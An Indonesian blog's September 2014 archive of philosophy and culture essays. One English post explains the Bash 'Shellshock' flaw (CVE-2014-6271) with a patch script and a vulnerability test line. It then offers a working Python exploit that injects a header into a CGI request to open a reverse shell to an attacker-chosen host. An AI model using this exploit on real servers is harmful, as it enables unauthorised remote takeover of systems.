Monthly Archives: September 2014

Filsafat Keindahan

Baumgarten memperkenalkan estetika sebagai “filsafat keindahan”. Padahal kata estetika diserap dari bahasa Yunani, aisthetikos, yang artinya persepsi atau kesadaran. Kata aisthanomai artinya saya menyadari sesuatu. Justru pengertian dasar dalam bahasa Yunani inilah yang kini lebih tepat untuk memaknai estetika terkait dengan kebenaran eksistensial dan kesadaran baru dalam seni.

Kini seni seringkali tak lagi menampilkan keindahan. Pada titik ini, menurut Clive Bell, seni lebih tepat disebut sebagai bentuk bermakna (significant form), dan seniman adalah “tukang utak-atik bentuk” guna memberi makna pada pengalaman sebagai sebentuk reflektivitas.
Karena atmosfir dunia seni itu reflektif, para pelakunya cenderung filosofis kendati tidak belajar filsafat. Tengok bagaimana sastra, musik, lukisan atau berbagai karya seni bermutu seringkali filosofis dan reflektif sebab mengandung sense of mysteries. Seni juga bisa membuat manusia melihat sesuatu yang sering diabaikan dalam keseharian. Namun, semakin mendalam refleksinya, semakin sukar untuk dimengerti. Karya seni yang bermutu dan mendalam membantu kita melihat ambiguitas hidup dan paradoksnya; misalnya, bahwa karena mencintai seseorang harus membunuh, dan lain sebagainya.

Dengan gagalnya pendidikan seni, khususnya pendidikan sastra di Indonesia, serta melihat betapa kini keseharian kita begitu dipenuhi oleh berbagai bentuk seni yang “kurang bergizi” (misalnya, ledakan sinetron stripping yang ‘asal jadi’ dan fiksi populer kacangan), maka ini tak ubahnya semata menjejali manusia dengan cemilan permen, tanpa asupan gizi lainnya.

Bahkan, sekalipun ada tawaran bentuk seni religius (misalnya, sastra Islam), muatannya lebih merupakan kebenaran dogmatis yang ditampilkan secara naif, tak berpijak pada realitas eksistensial; tokoh yang sangat alim dan selalu mengutip ayat Al-Quran saat berbicara, mendapat istri anak milyuner dan digandrungi banyak perempuan, pokoknya from hero to hero atau from zero to hero (bahkan para nabi pun tidak sebegitu sempurnanya dan bahkan sering jatuh bangun dalam kehidupannya), bukan from hero to zero. Benar-benar gombal, tapi sialnya kok ya best seller.

Hal yang paling sering kita rasakan langsung sebagai buah gagalnya pendidikan sastra di Indonesia adalah lagu-lagu di Indonesia yang semakin lama semakin miskin dalam mengeksplorasi tema dan merangkai kata-kata; murahan dan klise serta basi karena mengulang tema-tema percintaan dengan kata-kata yang dangkal.

Padahal secara kualitas dan skill bermusik, para pemusik Indonesia sangat kreatif dalam membuat aransemen dan lagu, namun saat memasuki bait-bait lirik yang dinyanyikannya, hilang sudah selera kita.

Filsafat itu adalah ilmu untuk belajar mati

Bagi Sokrates, tidak apa-apa jika ia yang mengalami ketidakadilan, asalkan dia sendiri tidak berbuat sesuatu yang tidak adil kepada orang lain. Dia menghormati hukum demokrasi di Athena, walau pun demokrasi itu dijalankan oleh demos alias massa beringas, dan untuk itu, dia bersedia mendapatkan hukuman yang tidak adil, yaitu harus meminum racun. Perlakuan tidak adil itu dia terima dengan berani, dan dia menolak mentah-mentah ketika para muridnya mengusulkan agar menyuap penjaga penjara sehingga dia bisa melarikan diri.

Apa jadinya semua ajaran yang dia serukan selama ini kepada masyarakat Athena apabila dia malah melarikan diri dari kematian. Padahal Sokrates sendiri menegaskan, bahwa filsafat itu adalah ilmu untuk belajar mati. Hanya philosoma alias pecinta tubuh dan philovictor alias mereka yang cinta kemenangan dalam perdebatan sajalah yang takut menghadapi kematian. Sokrates pun menjadi korban pertama dari demokrasi.

Apakah itu berarti hidup yang Sokrates jalani berakhir dengan buruk? Tidak. Sokrates menganut pandangan truisme, yaitu bahwa semua yang ada dan terjadi dalam hidup ini hanyalah kebaikan semata. Kesalahan dan kejahatan hanya terjadi karena pelakunya tidak tahu dan tidak menyadari bahwa itu adalah salah. Mudah-mudahan Jokowi – Jusuf Kalla tidak menjadi korban berikutnya dari demokrasi.

Saling Percaya dan Harmoni

Saling percaya adalah salah satu penopang harmoni. Di desa, orang masih menikmati kebaikan tetangga-tetangga yang menyaudara dan bisa diandalkan sepenuhnya. Tapi bagi masyarakat individualistis di kota-kota besar, hal itu terasa makin mahal. Hubungan antar-warga didominasi pola transaksional. Dan setiap transaksi menuntut jaminan. Semakin semangat untuk menata diri dan membangun impian untuk kembali ke Desa dan membangun Desa.

Unix/Linux Bash Critical security issue September 2014

The popular Linux and Unix shell has a serious security problem that means real trouble for many web servers. Fortunately, a patch — as source code — is available. Bash, aka the Bourne-Again Shell, has a newly discovered security hole. And, for many Unix or Linux Web servers, it’s a major problem.

bash-v1-620x154

The flaw involves how Bash evaluates environment variables. With specifically crafted variables, a hacker could use this hole to execute shell commands. This, in turn, could render a server vulnerable to ever greater assaults.

By itself, this is one of those security holes where an attacker would already need to have a high level of system access to cause damage. Unfortunately, as Red Hat‘s security team put it, “Certain services and applications allow remote unauthenticated attackers to provide environment variables, allowing them to exploit this issue.”

The root of the problem is that Bash is frequently used as the system shell. Thus, if an application calls a Bash shell command via web HTTP or a Common-Gateway Interface (CGI) in a way that allows a user to insert data, the web server could be hacked. As Andy Ellis, the Chief Security Officer ofAkamai Technologies, wrote: “This vulnerability may affect many applications that evaluate user input, and call other applications via a shell.”

That could be a lot of web applications — including many of yours.

The most dangerous circumstance is if your applications call scripts with super-user — aka root — permissions. If that’s the case, your attacker could get away with murder on your server.

You can try patch with this code:

#!/bin/sh
mkdir src
cd src
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
for i in $(seq -f "%03g" 0 25); do wget     http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done
./configure && make && make install
cd ..
cd ..
rm -r src
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

so.. how to try the reverse engineering ? here we go..

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
	print "Usage: %s   " % sys.argv[0]
	print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
	exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
	"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

Pendidikan dari Daoed Joesoef

Daoed Joesoef, dalam berbagai karangannya, kerap menulis bahwa salah satu sebab lapuknya pendidikan adalah ketika ia dicerabut dari akar kebudayaannya. Menurutnya, pendidikan adalah bagian konstitutif, jika bukannya integratif, dari kebudayaan. Sehingga pemisahan pendidikan dari kebudayaan akan bersifat destruktif bagi keduanya.

Pendidikan, untuk dapat menjalankan fungsi-fungsinya, memerlukan nilai-nilai instrumental. Nilai-nilai tersebut tidak bisa lain harus digali dari kebudayaan inangnya. Dengan demikian menjadi jelas, bahwa sistem pendidikan yang kita kembangkan untuk “mencerdaskan kehidupan bangsa” adalah bagian utuh dari kebudayaan.

Selain itu, karena pendidikan merupakan bagian dari kebudayaan, maka sebelum “pendidikan” diberi pengertian, baik pengertian dalam arti makna-kata, makna-proses, maupun jangkauan tujuannya, terlebih dahulu harus dipahami apa yang dimaksud dengan “kebudayaan”. Sebab, dalam pengertian kebudayaan itulah nantinya terkandung penjelasan bagi pendidikan. Tanpa itu, maka pendidikan akan tercampak dari makna hakikinya sebagai bagian dari kebudayaan.

Jadi, khusus mengenai konsep pendidikan, pemerintahan baru harus membuka dan mengujikannya kepada publik terlebih dahulu. Jangan sampai soal pendidikan yang krusial ini kita biarkan diatur dan dikacaukan oleh orang-orang yang, meminjam Daoed Joesoef, mengidap penyakit “defisit filosofi” dan “defisit intelektual” yang kronis.

Gnothi SeAuton Meden Agan

“Paideia” merupakan sebuah istilah kebudayaan yang demikian terkenal bagi bangsa Yunani kuno. Kata ini digunakan dalam arti mendidik generasi muda. Dalam proses pendidikan ini tentu membuahkan nilai-nilai dan aspirasi hidup yang dianggap sangat bernilai sehingga dapat menjadi pedoman arah atau pandangan hidup bagi generasi yang muncul kemudian. Dalam perkembangan jagat modernitas, istilah “paideia” yang semula dicermati dalam dunia pendidikan dan kebudayaan justru mengalami pergeseran makna ke “politeuma”: alam politik.

Di atas pintu masuk kuil Delphi terdapat tulisan berbunyi “Gnothi SeAuton Meden Agan” (Kenalilah dirimu, dan jangan berlebih-lebihan). Untuk mencapai Pengetahuan Tertinggi, terlebih dahulu ditumbuhkan hasrat akan pencapaiannya. Bahasa lainnya, menumbuhkembangkan rasa ingin tahu terkait dengan mengetahui esensi/hakikat/kebenaran segala sesuatunya. Hakikat itu terkait dengan Keindahan Abadi dan Sejati. Untuk meraih Keindahan itu, ada banyak hal yang harus dipelajari. Untuk itu, Platon pun mengemukakan Paideia, yaitu Pendidikan dan Kebudayaan, yang menandaskan bahwa pendidikan tidak boleh dilepaskan dari kebudayaan.

Bergunjing Sampai Bengek Dari Sebuah Sudut Pandang Filsafat

Abad-abad terakhir ini muncul sesuatu yang disebut oleh Walter J. Ong sebagai kelisanan sekunder melalui media elektronik seperti telepon (genggam), radio, televisi dan internet. Pada masa dominasi media cetak berlaku slogan “man make news”, namun pada masa dominasi media audio visual seperti saat ini yang berlaku adalah slogan “image make news”. Pergunjingan pun menjadi lebih canggih melalui pengolahan citra, yaitu sesuatu yang tampak oleh indera, akan tetapi tidak memiliki eksistensi substansial.

Citra ini terkait juga dengan hasrat untuk menjadi populer. Meski hasrat seperti ini sudah ada sejak awal keberadaan manusia, kini hasrat tersebut difasilitasi media melalui reality show “pencari bakat”. Seperti pernah dilaporkan dalam suplemen Kampus, kebanyakan para mahasiswa tidak lagi berkumpul untuk berdemonstrasi, tapi berbaris panjang untuk mengikuti audisi. Bahkan orang dari desa terpencil pun bersedia mengorbankan apa saja agar lolos audisi dan menang dengan berbagai cara (bahkan hingga berhutang kepada lintah darat). Menjadi populer berarti keluar dari kemiskinan. Maka televisi pun diramaikan oleh acara semacam itu. Namun, ironisnya, seringkali hasil akhirnya tak sesuai dengan tema awalnya. Misalnya, pemenang reality show menyanyi bukanlah orang yang bersuara paling bagus, tetapi yang kisah hidupnya paling memilukan penonton. Hal ini dikarenakan terlalu mudahnya penonton larut dalam pergunjingan di luar konteks kemampuan menyanyi para kontestannya.

Bukan hanya itu. Kini, berpacaran dengan pesohor atau tampil sekali di sebuah sinetron, seseorang bisa digelari selebritis. Penisbatan inilah yang menjadi modal citra agar menjadi objek incaran media gosip. Umumnya media gosip mengatasnamakan masyarakat yang, konon, berhak tahu (tepatnya: berhasrat menggunjingkan). Meski dilematis, selebritis membutuhkan media gosip untuk melanggengkan popularitasnya, namun konsekuensinya, kehidupan pribadi mereka menjadi seperti berada di bawah mikroskop media. Tak heran, hampir sepertiga acara televisi kita dipenuhi oleh infotainmen. MUI pun angkat bicara, mengeluarkan fatwa mengharamkan infotainmen. Namun, di tengah hiruk pikuk industri media, fatwa itu tak ubahnya jeritan sunyi.

Selain itu, kini televisi diramaikan pula oleh acara bergunjing lainnya, yaitu talk show. Perhatikan dulu Oprah Show. Kebanyakan panelis yang dihadirkan adalah orang-orang biasa yang mempunyai sisi menarik dalam kehidupannya. Perhatikan bagaimana orang-orang biasa itu menjawab pertanyaan Oprah dengan cukup reflektif. Oprah, misalnya, pernah menghadirkan Richard Gere dan Susan Sarandon. Oprah memperlihatkan kepada keduanya foto mereka sewaktu muda dan bertanya apa pendapat mereka tentang orang dalam foto tersebut. Keduanya menjawab dengan refleksi yang nyaris serupa: orang yang ada di foto itu keras kepala, tidak mau menerima saran siapa pun, egois. Bayangkan apabila itu dilakukan pada selebritis kita. Paling reaksinya hanya sebatas berteriak histeris, lalu berujar hal-hal yang tidak penting.

Setidaknya, pengungkapan yang sederhana namun reflektif dari para panelis itulah yang membedakan kualitas talk show di masyarakat Barat dengan di Indonesia. Maklum, bagaimana pun tradisi literasi di kalangan masyarakat Barat jauh lebih kuat, sehingga para panelis tersebut lebih bisa berjarak dari pengalamannya. Sementara Indonesia cenderung bertradisi lisan, sehingga kualitas talk show-nya pun lebih menyerupai pergunjingan, dan terlalu sering diimbuhi lelucon berlebihan. Hal itu disebabkan, salah satunya, ketidakmampuan berjarak para panelisnya dari pengalamannya, karena minimnya tradisi literasi di keseharian masyarakat kita.

Heidegger menegaskan bahwa manusia adalah satu-satunya makhluk yang bisa bertanya tentang ada: kenapa saya ada di sini, siapa saya, dari mana saya, mau ke mana, dan berbagai pertanyaan eksistensial lainnya. Keadaan “terjatuh” itu disebut Heidegger sebagai faktisitas. Terkait dengan perenungan akan ada tersebut, Yasraf Amir Piliang menganalisis berubahnya ada yang autentik menjadi ada sebagai citra. Orang merasa eksis dan autentik ketika tampil sebagai citra, yaitu ada di dalam televisi, tabloid, internet, dan sebagainya, yang notabene hanya hadir sebagai citra yang tidak autentik.

Terkait citra, Yasraf mengamati bahwa persilangan antara politik, media, dunia hiburan, sosial, dan ekonomi menciptakan semacam kategori ontologi politik berupa ada hibrid. Ada politik kini menjadi bagian tak terpisahkan dari ada sebagai citra. Kini, apa beda antara berita politik dengan gosip infotainmen? Perhatikan bagaimana belakangan ini semakin marak terjadi objek gosip yang juga menjadi objek berita politik.

Selebritis terjun ke dunia politik bukanlah perkara baru di dunia. Namun, di Indonesia tampaknya pertimbangan modal citra yang dimiliki seorang selebritis, meski tak punya pengalaman politik sama sekali, lebih dominan ketimbang pertimbangan visi dan kemampuannya memimpin. Maka, ketika diwawancara tentang apa yang akan dilakukannya seandainya terpilih nanti, ucapan yang meluncur pun lebih menyerupai pergunjingan klise yang tidak memperlihatkan visi untuk kepemimpinannya nanti.

Kegombalan politis seperti ini tak berbeda dengan pergunjingan yang seringkali diusung oleh para politikus non selebritis melalui janji-janji politik ketika kampanye. Yasraf menunjukkan adanya semacam dinding pemantul atau reflektor, sehingga yang tampil di dunia realitas adalah citra murni (berbagai kemasan ide, gagasan, keyakinan, proyeksi dan janji-janji), akan tetapi semuanya tidak pernah menembus dunia realitas, dalam pengertian diinternalisasikan ke dalam berbagai tindakan nyata. Setiap kali citra dan tanda itu akan memasuki dunia realitas, ia selalu berbalik arah dan memantul kembali ke dalam jagat simbiosis ideologi-citra, tidak pernah menjadi realitas nyata.

Bukan hanya itu, Yasraf pun menguraikan bahwa: “Perangkap citra tidak saja melupakan insan politik terhadap perenungan eksistensial, tetapi citra itu sendiri menipu mereka seakan-akan citra itu sendiri adalah eksistensi. Dengan terbenamnya aktor-aktor politik dan dunia politik mereka ke dalam dunia citra, tidak saja gerbang menuju permenungan eksistensi tertutup rapat, akan tetapi lebih jauh lagi ontologi citra itu menawarkan perenungan palsu. Misalnya, ada (tokoh, aktor, institusi) politik di dalam televisi adalah ada dalam bentuk citra (ontology of image), akan tetapi ia dianggap sebagai bentuk keberadaan. Di dalam virtualitas dunia citra, obrolan banal politik (di dalam berbagai media virtual) membenamkan manusia dalam keseharian, yang di dalamnya obrolan banal yang diperantarai oleh media (elektronik, digital) menjadikan berbagai kepalsuan dan kesemuan menjadi bagian inheren dunia politik. Dunia politik yang jatuh dalam perangkap banalitas kesehariannya (misalnya obrolan banal politik di dalam televisi), menjauhkan politik dari alam perenungan ontologis yang mendalam.”

Diakui atau tidak, sebagian besar akademisi Indonesia juga masih terjebak dalam atmosfir tradisi lisan. Salah satu penyebabnya adalah tidak adanya tradisi sabbathical atau cuti mengajar untuk menulis karya ilmiah. Padahal, jantung kehidupan dunia ilmiah di zaman ini adalah tulisan, bukan ucapan yang tidak dipahat menjadi tertulis. Runyamnya lagi, dengan berbagai alasan penghidupan, para akademisi lebih antusias untuk mengerjakan proyek ketimbang bergiat menghidupkan kegiatan ilmiah. Bahkan, kegiatan penelitian pun sudah berubah menjadi peluang agar bisa mendapat dana untuk membeli mobil baru, bukan pengetahuan baru. Gelar formal akademis lebih sering menjadi kebanggaan ketimbang kualitas keilmuannya yang sebenarnya.

Minimnya tradisi menulis ilmiah di kalangan akademisi Indonesia membuat transfer pengetahuan pun lebih bersifat oral ketimbang tekstual. Akibatnya, seringkali pengetahuan tersebut cenderung bersifat konservatif, terlebih dengan adanya atmosfir feodalisme di banyak perguruan tinggi Indonesia. Dialektika pengetahuan yang tak terjadi secara tekstual, semakin terhambat secara lisan akibat arogansi senioritas.

Memang banyak juga bermunculan komunitas ilmiah, baik di dalam maupun di luar lingkungan kampus. Namun, diskusi yang terjadi di beberapa komunitas itu lebih cenderung berisi gunjingan atau obrolan ngalor-ngidul yang tidak produktif dalam bentuk tertulis. Heidegger menyebutnya sebagai idle talking. Hal ini, misalnya, bisa terasa di beberapa komunitas cendekiawan berlabel Islam yang antusias dengan proyek Islamisasi Pengetahuan. Proyek ini sayangnya seringkali disarati dengan gunjingan pseudo-ilmiah yang dilakukan secara utak-atik-gathuk. Misalnya, mengkaji peristiwa Isra Mi‘raj menggunakan fisika cahaya atau astronomi. Padahal, fisika maupun astronomi tidak pernah mengakui adanya realitas lain selain realitas fisik ini. Lagi pula, perlu berapa juta tahun cahaya bagi Rasulullah saw untuk melintasi galaksi yang belum kita ketahui batasnya ini?

Solusi paling pas untuk menghindari kecenderungan pergunjingan di komunitas ilmiah adalah dengan focused group discussion. Moderator setidaknya bisa menjaga alur pembicaraan agar tidak melantur ke mana-mana, dan setiap partisipan mempunyai kesempatan berpendapat, sehingga ada pendalaman eksplorasi masalah dan diharapkan bisa lebih produktif menghasilkan tulisan-tulisan ilmiah yang bernas.

Meski demikian, manusia itu selalu berkembang dalam hidupnya. Dia tidak akan pernah bisa betah hanya dijejali dengan berbagai bentuk gunjingan di atas. Ibaratnya, tidak mungkin manusia hanya makan permen terus menerus, tanpa pernah mendapatkan makanan dengan asupan gizi, mineral, protein, vitamin dan lain sebagainya, yang dibutuhkan oleh tubuhnya. Oleh karena itu, dalam fase-fase tertentu dalam hidupnya, manusia akan tergerak untuk mencari hal-hal yang lebih esensial dan substantif untuk memperkaya penghayatan hidupnya, meskipun arus kesadaran di sekelilingnya seakan mengondisikannya untuk terus bergunjing sampai mati.

Nah, untuk topik “Bergunjing Sampai Bengek” saja apabila dianalisis dari sudut pandang Filsafat sangat kompleks, kok masih ada yang tega menyebut bahwa belajar Filsafat itu sesat dan menyesatkan? Apakah mereka yang berkata seperti itu termasuk orang yang malas berpikir ataukah mereka memang segolongan orang yang ‘Jahil Murakkab’? Segoblok-gobloknya manusia yang memang masuk dalam golongan yang tidak tahu kalau dirinya tidak tahu dan memang tidak mau tahu bahwa mereka sedang tidak tahu?

2014, Ki Ageng Morrison.